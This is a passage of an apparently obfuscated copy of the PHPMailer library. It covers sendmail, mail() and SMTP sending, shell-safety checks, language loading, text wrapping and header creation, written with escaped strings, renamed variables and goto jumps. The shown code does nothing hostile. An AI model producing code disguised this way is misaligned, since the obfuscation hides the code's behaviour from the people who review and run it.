                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case "\155\x61\x69\154":
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $RvUuZ = $this->Mailer . "\123\x65\x6e\x64";
                    if (!method_exists($this, $RvUuZ)) {
                        goto FLJEY;
                    }
                    return $this->{$RvUuZ}($this->MIMEHeader, $this->MIMEBody);
                    FLJEY:
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
            Wr69u:
            ymCP0:
        } catch (Exception $CsLop) {
            $this->setError($CsLop->getMessage());
            $this->edebug($CsLop->getMessage());
            if (!$this->exceptions) {
                goto ciKz1;
            }
            throw $CsLop;
            ciKz1:
        }
        return false;
    }
    protected function sendmailSend($y_KXY, $UlmlF)
    {
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            goto P1OsP;
        }
        if ("\x71\x6d\141\x69\x6c" == $this->Mailer) {
            goto fygPq;
        }
        $ZHuaw = "\x25\163\x20\x2d\157\x69\x20\55\x74";
        goto Zdk1l;
        fygPq:
        $ZHuaw = "\45\163";
        Zdk1l:
        goto FqJqv;
        P1OsP:
        if ("\x71\x6d\x61\x69\x6c" == $this->Mailer) {
            goto i_hwh;
        }
        $ZHuaw = "\45\163\40\x2d\x6f\151\x20\55\x66\45\x73\40\x2d\164";
        goto BCASs;
        i_hwh:
        $ZHuaw = "\45\x73\x20\55\x66\x25\163";
        BCASs:
        FqJqv:
        $DNKlZ = sprintf($ZHuaw, escapeshellcmd($this->Sendmail), $this->Sender);
        if ($this->SingleTo) {
            goto E9IWJ;
        }
        $kDC1N = @popen($DNKlZ, "\x77");
        if ($kDC1N) {
            goto sX2NF;
        }
        throw new Exception($this->lang("\145\170\145\143\x75\x74\145") . $this->Sendmail, self::STOP_CRITICAL);
        sX2NF:
        fwrite($kDC1N, $y_KXY);
        fwrite($kDC1N, $UlmlF);
        $HYIC3 = pclose($kDC1N);
        $this->doCallback($HYIC3 == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
        if (!(0 !== $HYIC3)) {
            goto XVRk4;
        }
        throw new Exception($this->lang("\145\x78\x65\143\x75\x74\145") . $this->Sendmail, self::STOP_CRITICAL);
        XVRk4:
        goto oHlS7;
        E9IWJ:
        foreach ($this->SingleToArray as $DNZpI) {
            $kDC1N = @popen($DNKlZ, "\x77");
            if ($kDC1N) {
                goto QL8EW;
            }
            throw new Exception($this->lang("\145\170\145\x63\x75\164\145") . $this->Sendmail, self::STOP_CRITICAL);
            QL8EW:
            fwrite($kDC1N, "\x54\x6f\x3a\x20" . $DNZpI . "\12");
            fwrite($kDC1N, $y_KXY);
            fwrite($kDC1N, $UlmlF);
            $HYIC3 = pclose($kDC1N);
            $this->doCallback($HYIC3 == 0, [$DNZpI], $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
            if (!(0 !== $HYIC3)) {
                goto f01l2;
            }
            throw new Exception($this->lang("\145\x78\145\143\x75\164\x65") . $this->Sendmail, self::STOP_CRITICAL);
            f01l2:
            AzNBV:
        }
        QuZ8u:
        oHlS7:
        return true;
    }
    protected static function isShellSafe($jm30w)
    {
        if (!(escapeshellcmd($jm30w) !== $jm30w or !in_array(escapeshellarg($jm30w), ["\47{$jm30w}\47", "\x22{$jm30w}\x22"]))) {
            goto nE0kh;
        }
        return false;
        nE0kh:
        $Z6HTu = strlen($jm30w);
        $KJHmb = 0;
        kxLKk:
        if (!($KJHmb < $Z6HTu)) {
            goto ZUm0_;
        }
        $MSPM2 = $jm30w[$KJHmb];
        if (!(!ctype_alnum($MSPM2) && strpos("\100\137\x2d\x2e", $MSPM2) === false)) {
            goto bggzy;
        }
        return false;
        bggzy:
        WeToF:
        ++$KJHmb;
        goto kxLKk;
        ZUm0_:
        return true;
    }
    protected static function isPermittedPath($t1usk)
    {
        return !preg_match("\43\x5e\x5b\x61\55\172\135\x2b\x3a\x2f\57\43\151", $t1usk);
    }
    protected function mailSend($y_KXY, $UlmlF)
    {
        $GpJ9x = [];
        foreach ($this->to as $EpIAw) {
            $GpJ9x[] = $this->addrFormat($EpIAw);
            HUm91:
        }
        WlgFy:
        $g7_oI = implode("\54\x20", $GpJ9x);
        $s2iYx = null;
        if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) {
            goto yWIuA;
        }
        if (!self::isShellSafe($this->Sender)) {
            goto G0gnw;
        }
        $s2iYx = sprintf("\x2d\x66\45\163", $this->Sender);
        G0gnw:
        yWIuA:
        if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) {
            goto kRvXv;
        }
        $MDRr3 = ini_get("\163\x65\x6e\x64\155\141\151\154\x5f\146\162\x6f\x6d");
        ini_set("\x73\x65\x6e\144\155\141\151\x6c\137\x66\162\x6f\155", $this->Sender);
        kRvXv:
        $HYIC3 = false;
        if ($this->SingleTo and count($GpJ9x) > 1) {
            goto lNfy4;
        }
        $HYIC3 = $this->mailPassthru($g7_oI, $this->Subject, $UlmlF, $y_KXY, $s2iYx);
        $this->doCallback($HYIC3, $this->to, $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
        goto diBAI;
        lNfy4:
        foreach ($GpJ9x as $DNZpI) {
            $HYIC3 = $this->mailPassthru($DNZpI, $this->Subject, $UlmlF, $y_KXY, $s2iYx);
            $this->doCallback($HYIC3, [$DNZpI], $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
            UoOKs:
        }
        Kp2LM:
        diBAI:
        if (!isset($MDRr3)) {
            goto zyHZB;
        }
        ini_set("\163\145\x6e\144\155\141\x69\x6c\x5f\x66\162\157\155", $MDRr3);
        zyHZB:
        if ($HYIC3) {
            goto BjQYL;
        }
        throw new Exception($this->lang("\x69\156\x73\x74\141\156\x74\x69\x61\164\145"), self::STOP_CRITICAL);
        BjQYL:
        return true;
    }
    public function getSMTPInstance()
    {
        if (is_object($this->smtp)) {
            goto hT39A;
        }
        $this->smtp = new SMTP();
        hT39A:
        return $this->smtp;
    }
    public function setSMTPInstance(SMTP $P5wTz)
    {
        $this->smtp = $P5wTz;
        return $this->smtp;
    }
    protected function smtpSend($y_KXY, $UlmlF)
    {
        $h7k31 = [];
        if ($this->smtpConnect($this->SMTPOptions)) {
            goto xj4Qf;
        }
        throw new Exception($this->lang("\163\x6d\164\160\137\143\x6f\156\156\145\x63\164\x5f\146\x61\151\x6c\x65\144"), self::STOP_CRITICAL);
        xj4Qf:
        if ('' == $this->Sender) {
            goto Mez00;
        }
        $ZNZVL = $this->Sender;
        goto vChiG;
        Mez00:
        $ZNZVL = $this->From;
        vChiG:
        if ($this->smtp->mail($ZNZVL)) {
            goto TOwFs;
        }
        $this->setError($this->lang("\x66\162\157\155\137\146\x61\x69\154\x65\x64") . $ZNZVL . "\x20\x3a\40" . implode("\x2c", $this->smtp->getError()));
        throw new Exception($this->ErrorInfo, self::STOP_CRITICAL);
        TOwFs:
        $Fa3tH = [];
        foreach ([$this->to, $this->cc, $this->bcc] as $EDjOQ) {
            foreach ($EDjOQ as $g7_oI) {
                if (!$this->smtp->recipient($g7_oI[0], $this->dsn)) {
                    goto Krqt1;
                }
                $JxyrV = true;
                goto TmScf;
                Krqt1:
                $XLcA5 = $this->smtp->getError();
                $h7k31[] = ["\x74\x6f" => $g7_oI[0], "\145\162\x72\x6f\162" => $XLcA5["\144\x65\x74\141\x69\x6c"]];
                $JxyrV = false;
                TmScf:
                $Fa3tH[] = ["\x69\163\163\x65\156\164" => $JxyrV, "\164\157" => $g7_oI[0]];
                SpN3W:
            }
            MaIHE:
            cwEc3:
        }
        rL3qk:
        if (!(count($this->all_recipients) > count($h7k31) and !$this->smtp->data($y_KXY . $UlmlF))) {
            goto miEoo;
        }
        throw new Exception($this->lang("\x64\141\x74\x61\137\156\157\x74\x5f\x61\143\x63\145\x70\x74\x65\x64"), self::STOP_CRITICAL);
        miEoo:
        $t2gPF = $this->smtp->getLastTransactionID();
        if ($this->SMTPKeepAlive) {
            goto St3Si;
        }
        $this->smtp->quit();
        $this->smtp->close();
        goto N0L7X;
        St3Si:
        $this->smtp->reset();
        N0L7X:
        foreach ($Fa3tH as $SCnw3) {
            $this->doCallback($SCnw3["\151\x73\163\x65\156\x74"], [$SCnw3["\x74\x6f"]], [], [], $this->Subject, $UlmlF, $this->From, ["\x73\155\x74\x70\x5f\x74\162\x61\156\163\141\x63\164\x69\157\156\x5f\x69\x64" => $t2gPF]);
            Ad_H0:
        }
        RiFFn:
        if (!(count($h7k31) > 0)) {
            goto Sjp89;
        }
        $lsf1w = '';
        foreach ($h7k31 as $hlUaG) {
            $lsf1w .= $hlUaG["\x74\x6f"] . "\72\x20" . $hlUaG["\145\x72\x72\x6f\x72"];
            z6TRu:
        }
        pns32:
        throw new Exception($this->lang("\x72\145\143\151\160\x69\145\x6e\x74\x73\x5f\x66\x61\151\x6c\145\144") . $lsf1w, self::STOP_CONTINUE);
        Sjp89:
        return true;
    }
    public function smtpConnect($p0n3v = null)
    {
        if (!(null === $this->smtp)) {
            goto zmvS2;
        }
        $this->smtp = $this->getSMTPInstance();
        zmvS2:
        if (!(null === $p0n3v)) {
            goto htUX0;
        }
        $p0n3v = $this->SMTPOptions;
        htUX0:
        if (!$this->smtp->connected()) {
            goto edV4r;
        }
        return true;
        edV4r:
        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $iSLu_ = explode("\73", $this->Host);
        $MInsa = null;
        foreach ($iSLu_ as $Ut2Hm) {
            $U59rX = [];
            if (preg_match("\57\x5e\x28\x28\163\x73\x6c\x7c\x74\154\163\51\x3a\x5c\x2f\134\57\x29\52\x28\x5b\141\55\x7a\x41\x2d\x5a\x30\55\71\x5c\56\55\x5d\52\174\134\133\133\141\55\x66\101\55\x46\60\55\x39\72\135\53\x5c\135\x29\x3a\x3f\50\x5b\60\55\x39\135\52\x29\44\x2f", trim($Ut2Hm), $U59rX)) {
                goto za566;
            }
            static::edebug($this->lang("\x63\x6f\156\x6e\145\143\x74\x5f\150\157\x73\164") . "\x20" . $Ut2Hm);
            goto kq1A3;
            za566:
            if (static::isValidHost($U59rX[3])) {
                goto OrlL2;
            }
            static::edebug($this->lang("\143\x6f\x6e\x6e\x65\143\x74\x5f\150\x6f\x73\x74") . "\40" . $Ut2Hm);
            goto kq1A3;
            OrlL2:
            $PRVwO = '';
            $EZFto = $this->SMTPSecure;
            $IrCJ6 = "\164\154\x73" == $this->SMTPSecure;
            if ("\163\x73\x6c" == $U59rX[2] or '' == $U59rX[2] and "\x73\163\154" == $this->SMTPSecure) {
                goto lztFq;
            }
            if ("\164\x6c\163" == $U59rX[2]) {
                goto WhJz4;
            }
            goto RAl0_;
            lztFq:
            $PRVwO = "\x73\163\x6c\x3a\57\x2f";
            $IrCJ6 = false;
            $EZFto = "\x73\163\154";
            goto RAl0_;
            WhJz4:
            $IrCJ6 = true;
            $EZFto = "\164\x6c\163";
            RAl0_:
            $kRP7e = defined("\117\x50\105\116\123\123\114\137\x41\114\107\117\x5f\x53\110\x41\62\65\x36");
            if (!("\x74\154\163" === $EZFto or "\163\x73\x6c" === $EZFto)) {
                goto e3cFm;
            }
            if ($kRP7e) {
                goto OTooz;
            }
            throw new Exception($this->lang("\145\x78\164\145\156\163\x69\157\156\x5f\155\151\163\x73\151\156\x67") . "\157\x70\145\156\x73\163\x6c", self::STOP_CRITICAL);
            OTooz:
            e3cFm:
            $S1iUU = $U59rX[3];
            $qnls6 = $this->Port;
            $sSX2q = (int) $U59rX[4];
            if (!($sSX2q > 0 and $sSX2q < 65536)) {
                goto InCbx;
            }
            $qnls6 = $sSX2q;
            InCbx:
            if (!$this->smtp->connect($PRVwO . $S1iUU, $qnls6, $this->Timeout, $p0n3v)) {
                goto e2gxd;
            }
            try {
                if ($this->Helo) {
                    goto Wofjn;
                }
                $njo9Y = $this->serverHostname();
                goto CIWu2;
                Wofjn:
                $njo9Y = $this->Helo;
                CIWu2:
                $this->smtp->hello($njo9Y);
                if (!($this->SMTPAutoTLS and $kRP7e and "\x73\x73\154" != $EZFto and $this->smtp->getServerExt("\123\124\x41\122\x54\x54\x4c\x53"))) {
                    goto ezMyu;
                }
                $IrCJ6 = true;
                ezMyu:
                if (!$IrCJ6) {
                    goto oE2B3;
                }
                if ($this->smtp->startTLS()) {
                    goto yM2G9;
                }
                throw new Exception($this->lang("\x63\x6f\x6e\156\145\143\x74\x5f\150\x6f\x73\x74"));
                yM2G9:
                $this->smtp->hello($njo9Y);
                oE2B3:
                if (!$this->SMTPAuth) {
                    goto DylJ8;
                }
                if ($this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->oauth)) {
                    goto A_pcO;
                }
                throw new Exception($this->lang("\x61\165\x74\x68\145\156\164\x69\x63\x61\x74\x65"));
                A_pcO:
                DylJ8:
                return true;
            } catch (Exception $CsLop) {
                $MInsa = $CsLop;
                $this->edebug($CsLop->getMessage());
                $this->smtp->quit();
            }
            e2gxd:
            kq1A3:
        }
        Gypq5:
        $this->smtp->close();
        if (!($this->exceptions and null !== $MInsa)) {
            goto r6U90;
        }
        throw $MInsa;
        r6U90:
        return false;
    }
    public function smtpClose()
    {
        if (!(null !== $this->smtp)) {
            goto Zk2Gs;
        }
        if (!$this->smtp->connected()) {
            goto zj62d;
        }
        $this->smtp->quit();
        $this->smtp->close();
        zj62d:
        Zk2Gs:
    }
    public function setLanguage($AEvmd = "\x65\156", $KJIOJ = '')
    {
        $g1XKM = ["\142\162" => "\160\164\137\x62\x72", "\x63\x7a" => "\x63\x73", "\x64\x6b" => "\x64\x61", "\x6e\157" => "\156\142", "\x73\x65" => "\163\166", "\x72\x73" => "\163\x72", "\164\147" => "\x74\x6c"];
        if (!isset($g1XKM[$AEvmd])) {
            goto j35dg;
        }
        $AEvmd = $g1XKM[$AEvmd];
        j35dg:
        $Y2wIZ = ["\x61\x75\164\150\x65\156\x74\151\143\x61\164\x65" => "\x53\x4d\124\120\40\x45\162\162\x6f\162\72\x20\103\157\165\154\x64\40\156\x6f\x74\40\x61\x75\x74\150\x65\x6e\164\x69\x63\141\164\145\56", "\143\157\x6e\x6e\145\143\x74\137\x68\157\163\x74" => "\x53\115\124\120\x20\x45\162\162\x6f\162\72\x20\103\x6f\x75\x6c\x64\x20\x6e\157\164\x20\143\157\156\156\x65\143\x74\x20\x74\157\40\123\x4d\124\120\40\x68\x6f\163\164\56", "\144\141\x74\141\137\x6e\157\164\137\141\143\143\145\x70\164\x65\144" => "\x53\115\x54\x50\40\105\x72\162\157\162\72\40\x64\x61\x74\x61\x20\156\x6f\164\40\141\x63\143\x65\x70\x74\145\x64\56", "\x65\x6d\160\164\x79\137\155\x65\x73\163\141\147\145" => "\x4d\x65\163\x73\141\147\145\40\142\x6f\144\x79\x20\x65\x6d\x70\x74\x79", "\x65\x6e\143\x6f\x64\151\156\x67" => "\125\156\153\156\x6f\x77\156\40\x65\156\143\157\x64\151\156\x67\72\40", "\x65\x78\145\143\x75\164\x65" => "\x43\157\x75\154\x64\x20\x6e\x6f\x74\x20\x65\170\x65\x63\x75\x74\x65\x3a\x20", "\x66\151\154\145\x5f\x61\143\143\145\x73\x73" => "\x43\157\165\x6c\x64\x20\156\157\x74\x20\x61\143\x63\x65\163\163\x20\x66\x69\x6c\145\72\x20", "\146\151\x6c\145\137\157\160\145\x6e" => "\106\151\154\145\x20\105\x72\x72\x6f\x72\72\x20\103\x6f\165\154\x64\40\156\157\164\40\157\160\145\156\x20\146\x69\154\145\72\40", "\x66\162\157\x6d\x5f\146\141\151\x6c\145\x64" => "\124\150\x65\40\x66\157\x6c\154\157\x77\x69\156\x67\40\106\x72\157\155\40\x61\x64\144\x72\x65\x73\163\40\146\141\151\x6c\145\144\72\x20", "\x69\156\163\x74\x61\x6e\164\x69\x61\164\x65" => "\103\x6f\x75\x6c\144\40\x6e\x6f\164\x20\x69\156\163\x74\x61\x6e\x74\x69\x61\x74\x65\x20\155\x61\x69\x6c\40\x66\x75\156\143\x74\x69\157\156\56", "\x69\156\166\x61\154\151\x64\x5f\141\x64\x64\162\x65\163\163" => "\x49\x6e\x76\141\x6c\x69\x64\40\141\144\144\x72\145\163\x73\x3a\x20", "\155\x61\x69\154\x65\162\x5f\156\157\164\137\x73\x75\x70\x70\x6f\x72\x74\145\x64" => "\x20\155\141\x69\154\145\162\40\x69\163\x20\156\157\x74\40\163\x75\160\160\157\162\164\x65\144\56", "\x70\162\157\166\151\144\x65\x5f\141\144\144\162\x65\163\163" => "\131\157\x75\40\x6d\165\x73\164\40\160\x72\x6f\x76\151\x64\x65\x20\141\164\x20\x6c\x65\141\x73\164\x20\x6f\156\x65\x20\162\x65\143\x69\x70\151\x65\x6e\164\x20\145\x6d\x61\151\x6c\40\x61\x64\144\162\145\x73\163\x2e", "\x72\x65\x63\x69\x70\x69\x65\x6e\x74\163\137\x66\141\x69\154\145\144" => "\123\115\x54\120\x20\105\x72\162\157\162\72\x20\124\150\x65\40\x66\x6f\154\x6c\x6f\167\151\x6e\x67\x20\x72\x65\x63\151\160\x69\145\x6e\x74\x73\x20\x66\141\x69\154\x65\144\72\40", "\163\x69\147\156\151\156\147" => "\123\x69\147\x6e\151\156\x67\40\105\162\162\157\162\72\40", "\x73\155\x74\160\137\143\157\156\x6e\145\x63\x74\137\x66\141\x69\154\145\x64" => "\123\115\124\x50\x20\143\x6f\x6e\156\145\143\x74\50\x29\x20\x66\141\151\x6c\145\x64\x2e", "\163\155\164\x70\137\x65\x72\162\157\162" => "\x53\x4d\x54\x50\40\x73\145\162\x76\x65\x72\x20\145\x72\x72\157\x72\72\x20", "\x76\141\x72\x69\141\x62\x6c\145\137\163\145\164" => "\x43\141\x6e\156\x6f\x74\x20\163\145\164\40\x6f\162\40\x72\145\163\145\164\40\x76\141\x72\x69\141\142\x6c\145\72\x20", "\145\170\164\x65\156\x73\151\x6f\156\x5f\x6d\x69\163\163\x69\156\147" => "\x45\x78\x74\x65\x6e\x73\151\x6f\156\40\x6d\x69\163\163\151\x6e\147\x3a\x20"];
        if (!empty($KJIOJ)) {
            goto m8OXK;
        }
        $KJIOJ = dirname(__DIR__) . DIRECTORY_SEPARATOR . "\154\141\156\x67\165\141\x67\145" . DIRECTORY_SEPARATOR;
        m8OXK:
        if (preg_match("\x2f\136\x5b\x61\55\x7a\x5d\x7b\x32\175\x28\77\x3a\137\133\x61\x2d\x7a\x41\x2d\132\x5d\173\x32\x7d\x29\77\44\x2f", $AEvmd)) {
            goto vLeII;
        }
        $AEvmd = "\x65\x6e";
        vLeII:
        $k8ZTi = true;
        $kVNV9 = $KJIOJ . "\x70\150\160\x6d\x61\151\x6c\x65\162\x2e\154\x61\x6e\147\55" . $AEvmd . "\56\x70\x68\160";
        if (!("\145\156" != $AEvmd)) {
            goto fC8ie;
        }
        if (!static::isPermittedPath($kVNV9) || !file_exists($kVNV9)) {
            goto JDjqN;
        }
        $k8ZTi = (include $kVNV9);
        goto TKDWq;
        JDjqN:
        $k8ZTi = false;
        TKDWq:
        fC8ie:
        $this->language = $Y2wIZ;
        return (bool) $k8ZTi;
    }
    public function getTranslations()
    {
        return $this->language;
    }
    public function addrAppend($W7B1j, $KhyXp)
    {
        $UxZQI = [];
        foreach ($KhyXp as $w1_0x) {
            $UxZQI[] = $this->addrFormat($w1_0x);
            BMii2:
        }
        kfCRy:
        return $W7B1j . "\72\x20" . implode("\x2c\x20", $UxZQI) . static::$LE;
    }
    public function addrFormat($KhyXp)
    {
        if (!empty($KhyXp[1])) {
            goto RMtIc;
        }
        return $this->secureHeader($KhyXp[0]);
        RMtIc:
        return $this->encodeHeader($this->secureHeader($KhyXp[1]), "\x70\x68\162\141\x73\145") . "\40\74" . $this->secureHeader($KhyXp[0]) . "\76";
    }
    public function wrapText($GRJNx, $Z6HTu, $nztM7 = false)
    {
        if ($nztM7) {
            goto SRPwH;
        }
        $z537_ = static::$LE;
        goto r3aYU;
        SRPwH:
        $z537_ = sprintf("\40\75\45\x73", static::$LE);
        r3aYU:
        $WYQjz = static::CHARSET_UTF8 === strtolower($this->CharSet);
        $w84QB = strlen(static::$LE);
        $YEbrP = strlen(static::$LE);
        $GRJNx = static::normalizeBreaks($GRJNx);
        if (!(substr($GRJNx, -$w84QB) == static::$LE)) {
            goto DUg2s;
        }
        $GRJNx = substr($GRJNx, 0, -$w84QB);
        DUg2s:
        $yCe67 = explode(static::$LE, $GRJNx);
        $GRJNx = '';
        foreach ($yCe67 as $rYeep) {
            $P7_u_ = explode("\40", $rYeep);
            $CXBKr = '';
            $pYP6u = true;
            foreach ($P7_u_ as $pXV8B) {
                if ($nztM7 and strlen($pXV8B) > $Z6HTu) {
                    goto WHU6j;
                }
                $UJjK0 = $CXBKr;
                if ($pYP6u) {
                    goto ctaRN;
                }
                $CXBKr .= "\40";
                ctaRN:
                $CXBKr .= $pXV8B;
                if (!(strlen($CXBKr) > $Z6HTu and '' != $UJjK0)) {
                    goto YczSR;
                }
                $GRJNx .= $UJjK0 . $z537_;
                $CXBKr = $pXV8B;
                YczSR:
                goto YBRZ7;
                WHU6j:
                $nR1Bq = $Z6HTu - strlen($CXBKr) - $YEbrP;
                if ($pYP6u) {
                    goto NKBaK;
                }
                if ($nR1Bq > 20) {
                    goto aj9hC;
                }
                $GRJNx .= $CXBKr . $z537_;
                goto Nza2p;
                aj9hC:
                $XtdVD = $nR1Bq;
                if ($WYQjz) {
                    goto Rz2cV;
                }
                if ("\x3d" == substr($pXV8B, $XtdVD - 1, 1)) {
                    goto xXkpL;
                }
                if ("\x3d" == substr($pXV8B, $XtdVD - 2, 1)) {
                    goto YC0aY;
                }
                goto mvNTY;
                Rz2cV:
                $XtdVD = $this->utf8CharBoundary($pXV8B, $XtdVD);
                goto mvNTY;
                xXkpL:
                --$XtdVD;
                goto mvNTY;
                YC0aY:
                $XtdVD -= 2;
                mvNTY:
                $TBxxK = substr($pXV8B, 0, $XtdVD);
                $pXV8B = substr($pXV8B, $XtdVD);
                $CXBKr .= "\x20" . $TBxxK;
                $GRJNx .= $CXBKr . sprintf("\x3d\x25\163", static::$LE);
                Nza2p:
                $CXBKr = '';
                NKBaK:
                qfF81:
                if (!(strlen($pXV8B) > 0)) {
                    goto NaKu0;
                }
                if (!($Z6HTu <= 0)) {
                    goto Thn_7;
                }
                goto NaKu0;
                Thn_7:
                $XtdVD = $Z6HTu;
                if ($WYQjz) {
                    goto tyhce;
                }
                if ("\x3d" == substr($pXV8B, $XtdVD - 1, 1)) {
                    goto L5hiV;
                }
                if ("\75" == substr($pXV8B, $XtdVD - 2, 1)) {
                    goto o2_Z_;
                }
                goto GiLSw;
                tyhce:
                $XtdVD = $this->utf8CharBoundary($pXV8B, $XtdVD);
                goto GiLSw;
                L5hiV:
                --$XtdVD;
                goto GiLSw;
                o2_Z_:
                $XtdVD -= 2;
                GiLSw:
                $TBxxK = substr($pXV8B, 0, $XtdVD);
                $pXV8B = substr($pXV8B, $XtdVD);
                if (strlen($pXV8B) > 0) {
                    goto DxsXh;
                }
                $CXBKr = $TBxxK;
                goto GeryG;
                DxsXh:
                $GRJNx .= $TBxxK . sprintf("\75\45\163", static::$LE);
                GeryG:
                goto qfF81;
                NaKu0:
                YBRZ7:
                $pYP6u = false;
                Ja8TU:
            }
            FTH0N:
            $GRJNx .= $CXBKr . static::$LE;
            gDBIa:
        }
        fGHCm:
        return $GRJNx;
    }
    public function utf8CharBoundary($btBz_, $zaeyx)
    {
        $l07Vf = false;
        $NPMHP = 3;
        F6taP:
        if ($l07Vf) {
            goto N2QUj;
        }
        $Qzm60 = substr($btBz_, $zaeyx - $NPMHP, $NPMHP);
        $WSRQT = strpos($Qzm60, "\75");
        if (false !== $WSRQT) {
            goto Dq62R;
        }
        $l07Vf = true;
        goto ddjlq;
        Dq62R:
        $QysIZ = substr($btBz_, $zaeyx - $NPMHP + $WSRQT + 1, 2);
        $QOchO = hexdec($QysIZ);
        if ($QOchO < 128) {
            goto WKaz9;
        }
        if ($QOchO >= 192) {
            goto Niexk;
        }
        if ($QOchO < 192) {
            goto EjYp1;
        }
        goto Y6crT;
        WKaz9:
        if (!($WSRQT > 0)) {
            goto DtEHW;
        }
        $zaeyx -= $NPMHP - $WSRQT;
        DtEHW:
        $l07Vf = true;
        goto Y6crT;
        Niexk:
        $zaeyx -= $NPMHP - $WSRQT;
        $l07Vf = true;
        goto Y6crT;
        EjYp1:
        $NPMHP += 3;
        Y6crT:
        ddjlq:
        goto F6taP;
        N2QUj:
        return $zaeyx;
    }
    public function setWordWrap()
    {
        if (!($this->WordWrap < 1)) {
            goto odN_E;
        }
        return;
        odN_E:
        switch ($this->message_type) {
            case "\x61\154\x74":
            case "\x61\x6c\x74\x5f\x69\156\154\151\156\x65":
            case "\x61\154\164\x5f\141\164\164\141\143\150":
            case "\141\x6c\x74\137\x69\156\x6c\x69\x6e\145\x5f\x61\164\x74\141\143\x68":
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                goto zKK0F;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                goto zKK0F;
        }
        EGzJ5:
        zKK0F:
    }
    public function createHeader()
    {
        $HYIC3 = '';
        $HYIC3 .= $this->headerLine("\104\141\x74\145", '' == $this->MessageDate ? self::rfcDate() : $this->MessageDate);
        if ($this->SingleTo) {
            goto nXcpC;
        }
        if (count($this->to) > 0) {
            goto Fgs64;
        }
        if (count($this->cc) == 0) {
            goto VarS6;
        }
        goto encmk;
        Fgs64:
        if (!("\155\141\151\x6c" != $this->Mailer)) {
            goto l8ZEo;
        }
        $HYIC3 .= $this->addrAppend("\124\157", $this->to);
        l8ZEo:
        goto encmk;
        VarS6:
        $HYIC3 .= $this->headerLine("\124\157", "\165\x6e\x64\x69\163\x63\x6c\157\163\145\x64\x2d\162\145\x63\x69\160\x69\145\x6e\x74\163\72\73");
        encmk:
        goto RZ0_V;
        nXcpC:
        if (!("\155\141\x69\154" != $this->Mailer)) {
            goto OhfFj;
        }
        foreach ($this->to as $EpIAw) {
            $this->SingleToArray[] = $this->addrFormat($EpIAw);
            bMFst:
        }
        iUz_S:
        OhfFj:
        RZ0_V:
        $HYIC3 .= $this->addrAppend("\x46\162\157\x6d", [[trim($this->From), $this->FromName]]);
        if (!(count($this->cc) > 0)) {
            goto yvSbq;
        }
        $HYIC3 .= $this->addrAppend("\x43\143", $this->cc);
        yvSbq:
        if (!(("\163\x65\x6e\x64\155\x61\151\154" == $this->Mailer or "\161\155\x61\151\x6c" == $this->Mailer or "\x6d\x61\x69\154" == $this->Mailer) and count($this->bcc) > 0)) {
            goto QibOW;
        }
        $HYIC3 .= $this->addrAppend("\102\x63\x63", $this->bcc);
        QibOW:
        if (!(count($this->ReplyTo) > 0)) {
            goto vUVi5;
        }
        $HYIC3 .= $this->addrAppend("\122\145\160\154\171\x2d\124\157", $this->ReplyTo);
        vUVi5:
        if (!("\155\141\151\154" != $this->Mailer)) {
            goto Ze1JQ;
        }
        $HYIC3 .= $this->headerLine("\x53\x75\x62\152\x65\x63\164", $this->encodeHeader($this->secureHeader($this->Subject)));
        Ze1JQ:
        if ('' != $this->MessageID and preg_match("\57\x5e\x3c\x2e\x2a\x40\56\x2a\76\44\57", $this->MessageID)) {
            goto PO5RI;
        }
        $this->lastMessageID = sprintf("\x3c\45\163\x40\45\163\76", $this->uniqueid, $this->serverHostname());
        goto OFB3v;
        PO5RI:
        $this->lastMessageID = $this->MessageID;
        OFB3v:
        $HYIC3 .= $this->headerLine("\x4d\x65\x73\x73\141\147\145\55\x49\x44", $this->lastMessageID);
        if (!(null !== $this->Priority)) {
            goto gQU_h;
        }
        $HYIC3 .= $this->headerLine("\130\55\x50\162\x69\157\x72\x69\164\171", $this->Priority);
        gQU_h:
        if ('' == $this->XMailer) {
            goto phPpi;
        }
        $tIheQ = trim($this->XMailer);
        if (!$tIheQ) {
            goto NUB_i;
        }
        $HYIC3 .= $this->headerLine("\130\55\115\141\x69\x6c\x65\x72", $tIheQ);
        NUB_i:
        goto oc1vX;
        phPpi:
        $HYIC3 .= $this->headerLine("\130\55\x4d\x61\151\x6c\145\x72", "\x50\110\x50\x4d\141\x69\x6c\145\162\40" . self::VERSION);
        oc1vX:
        if (!('' != $this->ConfirmReadingTo)) {
            goto EdKuA;
        }
        $HYIC3 .= $this->headerLine("\104\151\163\160\157\163\151\x74\x69\157\x6e\55\116\x6f\x74\x69\x66\151\x63\x61\x74\151\x6f\156\x2d\x54\157", "\x3c" . $this->ConfirmReadingTo . "\x3e");
        EdKuA:
        foreach ($this->CustomHeader as $y_KXY) {
            $HYIC3 .= $this->headerLine(trim($y_KXY[0]), $this->encodeHeader(trim($y_KXY[1])));
            ZkYt8:
        }
        T_5ZI:
        if ($this->sign_key_file) {
            goto CN1hR;
        }
        $HYIC3 .= $this->headerLine("\115\111\115\x45\55\x56\145\162\x73\x69\x6f\156", "\61\56\x30");
        $HYIC3 .= $this->getMailMIME();
        CN1hR:
        return $HYIC3;
    }
    public function getMailMIME()
    {
        $HYIC3 = '';
        $A1PuC = true;
        switch ($this->message_type) {
            case "\x69\x6e\154\x69\156\x65":
                $HYIC3 .= $this->headerLine("\103\157\156\x74\x65\x6e\164\x2d\124\171\x70\145", static::CONTENT_TYPE_MULTIPART_RELATED . "\73");
                $HYIC3 .= $this->textLine("\11\x62\157\165\x6e\x64\x61\x72\x79\x3d\x22" . $this->boundary[1] . "\42");
                goto a9i8C;
            case "\141\x74\164\141\143\x68":
            case "\x69\156\154\151\156\x65\x5f\141\x74\x74\x61\x63\150":
            case "\141\x6c\164\x5f\x61\x74\164\x61\143\x68":
